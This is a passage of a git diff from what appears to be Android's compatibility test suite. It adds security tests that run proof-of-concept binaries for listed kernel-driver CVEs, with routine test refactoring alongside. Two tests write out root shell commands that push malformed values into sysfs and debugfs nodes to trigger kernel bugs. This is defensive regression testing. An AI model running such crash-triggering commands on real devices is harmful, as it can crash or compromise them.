+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+
+import android.platform.test.annotations.RootPermissionTest;
+import android.platform.test.annotations.SecurityTest;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Scanner;
+
+@SecurityTest
+public class Poc16_10 extends SecurityTestCase {
+
+    /**
+     *  b/30904789
+     */
+    @SecurityTest
+    public void testPocCVE_2016_6730() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-6730", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/30906023
+     */
+    @SecurityTest
+    public void testPocCVE_2016_6731() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-6731", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/30906599
+     */
+    @SecurityTest
+    public void testPocCVE_2016_6732() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-6732", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/30906694
+     */
+    @SecurityTest
+    public void testPocCVE_2016_6733() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-6733", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/30907120
+     */
+    @SecurityTest
+    public void testPocCVE_2016_6734() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-6734", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/30907701
+     */
+    @SecurityTest
+    public void testPocCVE_2016_6735() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-6735", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/30953284
+     */
+    @SecurityTest
+    public void testPocCVE_2016_6736() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-6736", getDevice(), 60);
+        }
+    }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc16_12.java b/hostsidetests/security/src/android/security/cts/Poc16_12.java
new file mode 100644
index 0000000..a6160d5
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc16_12.java
@@ -0,0 +1,258 @@
+/**
+0;256;0c * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+
+import android.platform.test.annotations.RootPermissionTest;
+import android.platform.test.annotations.SecurityTest;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Scanner;
+
+@SecurityTest
+public class Poc16_12 extends SecurityTestCase {
+
+    //Criticals
+    /**
+     *  b/31606947
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8424() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvmap")) {
+            AdbUtils.runPoc("CVE-2016-8424", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31797770
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8425() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
+            AdbUtils.runPoc("CVE-2016-8425", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31799206
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8426() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvhost-gpu")) {
+            AdbUtils.runPoc("CVE-2016-8426", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31799885
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8427() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvhost-gpu") ||
+              containsDriver(getDevice(), "/dev/nvhost-dbg-gpu")) {
+            AdbUtils.runPoc("CVE-2016-8427", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31993456
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8428() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvmap")) {
+            AdbUtils.runPoc("CVE-2016-8428", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32160775
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8429() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvmap")) {
+            AdbUtils.runPoc("CVE-2016-8429", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32225180
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8430() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
+            AdbUtils.runPoc("CVE-2016-8430", getDevice(), 60);
+        }
+    }
+
+   /**
+     *  b/32402179
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8431() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-8431", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32447738
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8432() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-8432", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32125137
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8434() throws Exception {
+        if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
+            AdbUtils.runPoc("CVE-2016-8434", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32700935
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8435() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-8435", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31568617
+     */
+    @SecurityTest
+    public void testPocCVE_2016_9120() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/ion")) {
+            AdbUtils.runPoc("CVE-2016-9120", getDevice(), 60);
+        }
+    }
+
+    //Highs
+    /**
+     *  b/31225246
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8412() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/v4l-subdev7")) {
+            AdbUtils.runPoc("CVE-2016-8412", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31243641
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8444() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/v4l-subdev17")) {
+            AdbUtils.runPoc("CVE-2016-8444", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31791148
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8448() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/graphics/fb0")) {
+            AdbUtils.runPoc("CVE-2016-8448", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31798848
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8449() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/tegra_avpchannel")) {
+            AdbUtils.runPoc("CVE-2016-8449", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31668540
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8460() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvmap")) {
+            String result = AdbUtils.runPoc("CVE-2016-8460", getDevice(), 60);
+            assertTrue(!result.equals("Vulnerable"));
+        }
+    }
+
+    /**
+     *  b/32402548
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0403() throws Exception {
+        enableAdbRoot(getDevice());
+        AdbUtils.runPoc("CVE-2017-0403", getDevice(), 60);
+    }
+
+    /**
+     *  b/32510733
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0404() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/proc/asound/version")) {
+            AdbUtils.runPoc("CVE-2017-0404", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32178033
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8451() throws Exception {
+        enableAdbRoot(getDevice());
+        String command =
+            "echo AAAAAAAAA > /sys/devices/f9924000.i2c/i2c-2/2-0070/power_control";
+        AdbUtils.runCommandLine(command, getDevice());
+    }
+
+    /**
+     *  b/32659848
+     */
+    @SecurityTest
+    public void testPoc32659848() throws Exception {
+        String command =
+            "echo 18014398509481980 > /sys/kernel/debug/tracing/buffer_size_kb";
+        AdbUtils.runCommandLine(command, getDevice());
+    }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_01.java b/hostsidetests/security/src/android/security/cts/Poc17_01.java
new file mode 100644
index 0000000..f8ed22a
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_01.java
@@ -0,0 +1,44 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_01 extends SecurityTestCase {
+
+    /**
+     *  b/31799863
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8482() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvmap")) {
+            AdbUtils.runPoc("CVE-2016-8482", getDevice(), 60);
+        }
+    }
+
+   /**
+     *  b/32636619
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0429() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvhost-as-gpu")) {
+            enableAdbRoot(getDevice());
+            AdbUtils.runPoc("CVE-2017-0429", getDevice(), 60);
+        }
+    }
+ }
diff --git a/hostsidetests/security/src/android/security/cts/SecurityTestCase.java b/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
index b6599c1..b3144e1 100644
--- a/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
@@ -64,6 +64,17 @@
     }
 
     /**
+     * Check if a driver is present on a machine
+     */
+    public boolean containsDriver(ITestDevice mDevice, String driver) throws Exception {
+        String result = mDevice.executeShellCommand("ls -Zl " + driver);
+        if(result.contains("No such file or directory")) {
+            return false;
+        }
+        return true;
+    }
+
+    /**
      * Makes sure the phone is online, and the ensure the current boottime is within 2 seconds
      * (due to rounding) of the previous boottime to check if The phone has crashed.
      */
@@ -77,4 +88,14 @@
         //TODO(badash@): add ability to catch runtime restart
         getDevice().executeAdbCommand("unroot");
     }
+
+    /**
+     * Runs an info disclosure
+     **/
+    public void infoDisclosure(
+        String pocName, ITestDevice device, int timeout, String pattern ) throws Exception {
+
+        assertTrue("Pattern found. Info Disclosed.",
+                    AdbUtils.detectInformationDisclosure(pocName, device, timeout, pattern));
+     }
 }
diff --git a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
index 86e7b6c..773584e 100644
--- a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
+++ b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
@@ -83,8 +83,7 @@
         launchActivityInDockStack(LAUNCHING_ACTIVITY);
         mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
         launchActivityToSide();
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME});
-
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
         mAmWmState.assertContainsStack(
                 "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
         mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
@@ -138,7 +137,6 @@
 
         launchActivityInDockStack(LAUNCHING_ACTIVITY);
         mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
         final String[] waitForActivitiesVisible =
             new String[] {TEST_ACTIVITY_NAME, LAUNCHING_ACTIVITY};
 
@@ -377,7 +375,6 @@
             CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
             return;
         }
-
         final String[] waitTestActivityName = new String[] {TEST_ACTIVITY_NAME};
         executeShellCommand(getAmStartCmd(TEST_ACTIVITY_NAME));
         mAmWmState.computeState(mDevice, waitTestActivityName);
diff --git a/hostsidetests/services/windowmanager/src/android/wm/cts/CrossAppDragAndDropTests.java b/hostsidetests/services/windowmanager/src/android/wm/cts/CrossAppDragAndDropTests.java
index f307ecc..fa1ae69 100644
--- a/hostsidetests/services/windowmanager/src/android/wm/cts/CrossAppDragAndDropTests.java
+++ b/hostsidetests/services/windowmanager/src/android/wm/cts/CrossAppDragAndDropTests.java
@@ -23,7 +23,6 @@
 
 import java.util.HashMap;
 import java.util.Map;
-import java.util.regex.Pattern;
 
 public class CrossAppDragAndDropTests extends DeviceTestCase {
     // Constants copied from ActivityManager.StackId. If they are changed there, these must be
@@ -42,24 +41,19 @@
 
     private static final String AM_FORCE_STOP = "am force-stop ";
     private static final String AM_MOVE_TASK = "am stack movetask ";
-    private static final String AM_RESIZE_TASK = "am task resize ";
     private static final String AM_REMOVE_STACK = "am stack remove ";
     private static final String AM_START_N = "am start -n ";
     private static final String AM_STACK_LIST = "am stack list";
     private static final String INPUT_MOUSE_SWIPE = "input mouse swipe ";
     private static final String TASK_ID_PREFIX = "taskId";
 
-    // Regex pattern to match adb shell am stack list output of the form:
-    // taskId=<TASK_ID>: <componentName> bounds=[LEFT,TOP][RIGHT,BOTTOM]
-    private static final String TASK_REGEX_PATTERN_STRING =
-            "taskId=[0-9]+: %s bounds=\\[[0-9]+,[0-9]+\\]\\[[0-9]+,[0-9]+\\]";
-
     private static final int SWIPE_DURATION_MS = 500;
 
     private static final String SOURCE_PACKAGE_NAME = "android.wm.cts.dndsourceapp";
     private static final String TARGET_PACKAGE_NAME = "android.wm.cts.dndtargetapp";
     private static final String TARGET_23_PACKAGE_NAME = "android.wm.cts.dndtargetappsdk23";
 
+
     private static final String SOURCE_ACTIVITY_NAME = "DragSource";
     private static final String TARGET_ACTIVITY_NAME = "DropTarget";
 
@@ -88,9 +82,6 @@
     private static final String RESULT_EXCEPTION = "Exception";
     private static final String RESULT_NULL_DROP_PERMISSIONS = "Null DragAndDropPermissions";
 
-    private static final String AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW =
-            "am supports-split-screen-multiwindow";
-
     private ITestDevice mDevice;
 
     private Map<String, String> mResults;
@@ -103,6 +94,7 @@
         super.setUp();
 
         mDevice = getDevice();
+
         if (!supportsDragAndDrop()) {
             return;
         }
@@ -139,12 +131,6 @@
         return AM_MOVE_TASK + taskId + " " + stackId + " true";
     }
 
-    private String getResizeTaskCommand(int taskId, Point topLeft, Point bottomRight)
-            throws Exception {
-        return AM_RESIZE_TASK + taskId + " " + topLeft.x + " " + topLeft.y + " " + bottomRight.x
-                + " " + bottomRight.y;
-    }
-
     private String getComponentName(String packageName, String activityName) {
         return packageName + "/" + packageName + "." + activityName;
     }
@@ -195,24 +181,6 @@
         waitForResume(packageName, activityName);
     }
 
-    /**
-     * @param displaySize size of the display
-     * @param leftSide {@code true} to launch the app taking up the left half of the display,
-     *         {@code false} to launch the app taking up the right half of the display.
-     */
-    private void launchFreeformActivity(String packageName, String activityName, String mode,
-            Point displaySize, boolean leftSide) throws Exception{
-        clearLogs();
-        final String componentName = getComponentName(packageName, activityName);
-        executeShellCommand(getStartCommand(componentName, mode) + " --stack "
-                + FREEFORM_WORKSPACE_STACK_ID);
-        waitForResume(packageName, activityName);
-        Point topLeft = new Point(leftSide ? 0 : displaySize.x / 2, 0);
-        Point bottomRight = new Point(leftSide ? displaySize.x / 2 : displaySize.x, displaySize.y);
-        executeShellCommand(getResizeTaskCommand(getActivityTaskId(componentName), topLeft,
-                bottomRight));
-    }
-
     private void waitForResume(String packageName, String activityName) throws Exception {
         final String fullActivityName = packageName + "." + activityName;
         int retryCount = 3;
@@ -250,9 +218,8 @@
         CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
         mDevice.executeShellCommand(AM_STACK_LIST, outputReceiver);
         final String output = outputReceiver.getOutput();
-        final Pattern pattern = Pattern.compile(String.format(TASK_REGEX_PATTERN_STRING, name));
         for (String line : output.split("\\n")) {
-            if (pattern.matcher(line).find()) {
+            if (line.contains(name)) {
                 return line;
             }
         }
@@ -285,12 +252,6 @@
         return -1;
     }
 
-    private Point getDisplaySize() throws Exception {
-        final String output = executeShellCommand("wm size");
-        final String[] sizes = output.split(" ")[2].split("x");
-        return new Point(Integer.valueOf(sizes[0].trim()), Integer.valueOf(sizes[1].trim()));
-    }
-
     private Point getWindowCenter(String name) throws Exception {
         Point p1 = new Point();
         Point p2 = new Point();
@@ -335,30 +296,14 @@
         return output;
     }
 
-    /**
-     * @return {@code true} if the device supports a certain multi-window mode that allows the
-     *         test to run, {@code false} if it does not and the test should be skipped.
-     */
-    private boolean doTestDragAndDrop(String sourceMode, String targetMode,
-            String expectedDropResult)
+    private void doTestDragAndDrop(String sourceMode, String targetMode, String expectedDropResult)
             throws Exception {
         if (!supportsDragAndDrop()) {
-            return false;
+            return;
         }
 
-        if (supportsSplitScreenMultiWindow()) {
-            launchDockedActivity(mSourcePackageName, SOURCE_ACTIVITY_NAME, sourceMode);
-            launchFullscreenActivity(mTargetPackageName, TARGET_ACTIVITY_NAME, targetMode);
-        } else if (supportsFreeformMultiWindow()) {
-            // Fallback to try to launch two freeform windows side by side.
-            Point displaySize = getDisplaySize();
-            launchFreeformActivity(mSourcePackageName, SOURCE_ACTIVITY_NAME, sourceMode,
-                    displaySize, true /* leftSide */);
-            launchFreeformActivity(mTargetPackageName, TARGET_ACTIVITY_NAME, targetMode,
-                    displaySize, false /* leftSide */);
-        } else {
-            return false;
-        }
+        launchDockedActivity(mSourcePackageName, SOURCE_ACTIVITY_NAME, sourceMode);
+        launchFullscreenActivity(mTargetPackageName, TARGET_ACTIVITY_NAME, targetMode);
 
         clearLogs();
 
@@ -369,7 +314,6 @@
 
         mResults = getLogResults(TARGET_LOG_TAG);
         assertResult(RESULT_KEY_DROP_RESULT, expectedDropResult);
-        return true;
     }
 
     private void assertResult(String resultKey, String expectedResult) throws Exception {
@@ -388,45 +332,36 @@
     }
 
     private boolean supportsDragAndDrop() throws Exception {
-        // Do not run this test on watches.
-        return !mDevice.hasFeature("feature:android.hardware.type.watch");
-    }
-
-    private boolean supportsSplitScreenMultiWindow() throws DeviceNotAvailableException {
-        return !executeShellCommand(AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW).startsWith("false");
-    }
-
-    private boolean supportsFreeformMultiWindow() throws DeviceNotAvailableException {
-        return mDevice.hasFeature("feature:android.software.freeform_window_management");
+        String supportsMultiwindow = mDevice.executeShellCommand("am supports-multiwindow").trim();
+        if ("true".equals(supportsMultiwindow)) {
+            return true;
+        } else if ("false".equals(supportsMultiwindow)) {
+            return false;
+        } else {
+            throw new Exception(
+                    "device does not support \"am supports-multiwindow\" shell command.");
+        }
     }
 
     public void testCancelSoon() throws Exception {
-        if (!doTestDragAndDrop(CANCEL_SOON, REQUEST_NONE, null)) {
-            return;
-        }
+        doTestDragAndDrop(CANCEL_SOON, REQUEST_NONE, null);
         assertResult(RESULT_KEY_DRAG_STARTED, RESULT_OK);
         assertResult(RESULT_KEY_EXTRAS, RESULT_OK);
     }
 
     public void testDisallowGlobal() throws Exception {
-        if (!doTestDragAndDrop(DISALLOW_GLOBAL, REQUEST_NONE, null)) {
-            return;
-        }
+        doTestDragAndDrop(DISALLOW_GLOBAL, REQUEST_NONE, null);
         assertResult(RESULT_KEY_DRAG_STARTED, null);
     }
 
     public void testDisallowGlobalBelowSdk24() throws Exception {
         mTargetPackageName = TARGET_23_PACKAGE_NAME;
-        if (!doTestDragAndDrop(GRANT_NONE, REQUEST_NONE, null)) {
-            return;
-        }
+        doTestDragAndDrop(GRANT_NONE, REQUEST_NONE, null);
         assertResult(RESULT_KEY_DRAG_STARTED, null);
     }
 
     public void testGrantNoneRequestNone() throws Exception {
-        if (!doTestDragAndDrop(GRANT_NONE, REQUEST_NONE, RESULT_EXCEPTION)) {
-            return;
-        }
+        doTestDragAndDrop(GRANT_NONE, REQUEST_NONE, RESULT_EXCEPTION);
         assertResult(RESULT_KEY_DRAG_STARTED, RESULT_OK);
         assertResult(RESULT_KEY_EXTRAS, RESULT_OK);
     }
diff --git a/hostsidetests/sustainedperf/src/android/SustainedPerformance/cts/SustainedPerformanceHostTest.java b/hostsidetests/sustainedperf/src/android/SustainedPerformance/cts/SustainedPerformanceHostTest.java
index 702b15b..fffeeb8 100644
--- a/hostsidetests/sustainedperf/src/android/SustainedPerformance/cts/SustainedPerformanceHostTest.java
+++ b/hostsidetests/sustainedperf/src/android/SustainedPerformance/cts/SustainedPerformanceHostTest.java
@@ -219,21 +219,12 @@
         device.executeShellCommand("settings put global airplane_mode_on 0");
         device.executeShellCommand("am broadcast -a android.intent.action.AIRPLANE_MODE --ez state false");
 
-        double resDhry = dhrystoneResultsWithMode.get(2);
-        double resApp = appResultsWithMode.get(2);
-
-        /* Report if performance is below 5% margin for both dhrystone and shader */
-        if ((resDhry > 5) || (resApp > 5)) {
-            Log.w("SustainedPerformanceHostTests",
-                  "Sustainable mode results, Dhrystone: " + resDhry + " App: " + resApp);
-        }
-
         /*
-         * Error if the performance in the mode is not consistent with
+         * Checks if the performance in the mode is consistent with
          * 5% error margin for shader and 10% error margin for dhrystone.
          */
         assertFalse("Results in the mode are not sustainable",
-                    (resDhry > 15) ||
-                    (resApp > 5));
+                (dhrystoneResultsWithMode.get(2) > 10) ||
+                (appResultsWithMode.get(2)) > 5);
     }
 }
diff --git a/hostsidetests/systemui/src/android/host/systemui/BaseTileServiceTest.java b/hostsidetests/systemui/src/android/host/systemui/BaseTileServiceTest.java
index 6d1752e..0ae861b 100644
--- a/hostsidetests/systemui/src/android/host/systemui/BaseTileServiceTest.java
+++ b/hostsidetests/systemui/src/android/host/systemui/BaseTileServiceTest.java
@@ -125,13 +125,6 @@
     }
 
     protected boolean supportedHardware() throws DeviceNotAvailableException {
-        // Customization by third-party tiles is only a requirement for devices
-        // supporting Quick Settings UI component, according to the CDD:
-        // http://source.android.com/compatibility/7.1/android-7.1-cdd.html#3_13_quick_settings
-        //
-        // As there is no public API to distinguish a device with Quick Settings
-        // from others, the check below, as well as all the tests under
-        // CtsSystemUiHostTestCases relying on the check may have false negatives.
         String features = getDevice().executeShellCommand("pm list features");
         return !features.contains("android.hardware.type.television") &&
                !features.contains("android.hardware.type.watch");
diff --git a/hostsidetests/theme/assets/xxxhdpi.zip b/hostsidetests/theme/assets/xxxhdpi.zip
index 2f91d0d..f4e0713 100644
--- a/hostsidetests/theme/assets/xxxhdpi.zip
+++ b/hostsidetests/theme/assets/xxxhdpi.zip
Binary files differ
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
index 9fa2deb..4a00f77 100755
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
@@ -575,19 +575,6 @@
             // Android TV doesn't support the divider window
             return;
         }
-
-        // Get com.android.internal.R.bool.config_supportsSplitScreenMultiWindow
-        try {
-            if (!getInstrumentation().getContext().getResources().getBoolean(
-                    Resources.getSystem().getIdentifier(
-                            "config_supportsSplitScreenMultiWindow", "bool", "android"))) {
-                // Check if split screen multi window is not supported.
-                return;
-            }
-        } catch (Resources.NotFoundException e) {
-            // Do nothing, assume split screen multi window is supported.
-        }
-
         // Get com.android.internal.R.bool.config_supportsMultiWindow
         if (!getInstrumentation().getContext().getResources().getBoolean(
                 Resources.getSystem().getIdentifier("config_supportsMultiWindow", "bool",
diff --git a/tests/app/app/src/android/app/stubs/OrientationTestUtils.java b/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
index f3b9977..4ff3fcb 100644
--- a/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
+++ b/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
@@ -17,14 +17,11 @@
 package android.app.stubs;
 
 import android.app.Activity;
+import android.app.Instrumentation;
 import android.content.pm.ActivityInfo;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicReference;
-
-import static org.junit.Assert.assertTrue;
 
 public class OrientationTestUtils {
+
     /**
      * Change the activity's orientation to something different and then switch back. This is used
      * to trigger {@link Activity#onConfigurationChanged(android.content.res.Configuration)}.
@@ -32,64 +29,31 @@
      * @param activity whose orientation will be changed and restored
      */
     public static void toggleOrientation(Activity activity) {
-        final int[] orientations = getOrientations(activity);
-        activity.setRequestedOrientation(orientations[1]);
-        activity.setRequestedOrientation(orientations[0]);
+        toggleOrientationSync(activity, null);
     }
 
     /**
-     * Returns original orientation and toggled orientation.
-     * @param activity whose orienetaion will be returned
-     * @return The first element is original orientation adn the second element is toggled
-     *     orientation.
+     * Same as {@link #toggleOrientation(Activity)} except {@link Instrumentation#waitForIdleSync()}
+     * is called after each orientation change.
+     *
+     * @param activity whose orientation will be changed and restored
+     * @param instrumentation use for idle syncing
      */
-    private static int[] getOrientations(final Activity activity) {
+    public static void toggleOrientationSync(final Activity activity,
+            final Instrumentation instrumentation) {
         final int originalOrientation = activity.getResources().getConfiguration().orientation;
         final int newOrientation = originalOrientation == ActivityInfo.SCREEN_ORIENTATION_PORTRAIT
-            ? ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE
-            : ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
-        return new int[] { originalOrientation, newOrientation };
+                ? ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE
+                : ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
+        changeOrientation(activity, instrumentation, newOrientation);
+        changeOrientation(activity, instrumentation, originalOrientation);
     }
 
-    /**
-     * Observer used in stub activities to wait for some event.
-     */
-    public static class Observer {
-        private static final int TIMEOUT_SEC = 3;
-        private final AtomicReference<CountDownLatch> mLatch = new AtomicReference();
-
-        /**
-         * Starts observing event.
-         * The returned CountDownLatch will get activated when onObserved is invoked after this
-         * call. The method cannot be called multiple times unless reset() is invoked.
-         * @return CountDownLatch will get activated when onObserved is invoked after this call.
-         */
-        public void startObserving() {
-            final CountDownLatch latch = new CountDownLatch(1);
-            assertTrue(mLatch.compareAndSet(null, latch));
-        }
-
-        /**
-         * Waits until onObserved is invoked.
-         */
-        public void await() throws InterruptedException {
-            try {
-                assertTrue(mLatch.get().await(TIMEOUT_SEC, TimeUnit.SECONDS));
-            } finally {
-                mLatch.set(null);
-            }
-        }
-
-        /**
-         * Notifies an event is observed.
-         * If this method is invoked after startObserving, the returned CountDownLatch will get
-         * activated. Otherwise it does nothing.
-         */
-        public void onObserved() {
-            final CountDownLatch latch = mLatch.get();
-            if (latch != null) {
-                latch.countDown();
-            }
+    private static void changeOrientation(final Activity activity,
+            Instrumentation instrumentation, final int orientation) {
+        activity.setRequestedOrientation(orientation);
+        if (instrumentation != null) {
+            instrumentation.waitForIdleSync();
         }
     }
 }
diff --git a/tests/app/app/src/android/app/stubs/TestDialog.java b/tests/app/app/src/android/app/stubs/TestDialog.java
index 18ef3be..e404e65 100644
--- a/tests/app/app/src/android/app/stubs/TestDialog.java
+++ b/tests/app/app/src/android/app/stubs/TestDialog.java
@@ -50,10 +50,8 @@
     public boolean isOnKeyDownCalled;
     public boolean isOnKeyUpCalled;
     public boolean isOnKeyMultipleCalled;
-    public final OrientationTestUtils.Observer onSaveInstanceStateObserver =
-            new OrientationTestUtils.Observer();
-    public final static OrientationTestUtils.Observer onRestoreInstanceStateObserver =
-            new OrientationTestUtils.Observer();
+    public boolean isOnSaveInstanceStateCalled;
+    public static boolean isOnRestoreInstanceStateCalled;
     public boolean isOnWindowAttributesChangedCalled;
     public boolean isOnCreatePanelMenuCalled;
     public boolean isOnCreatePanelViewCalled;
@@ -169,15 +167,16 @@
 
     @Override
     public Bundle onSaveInstanceState() {
+        isOnSaveInstanceStateCalled = true;
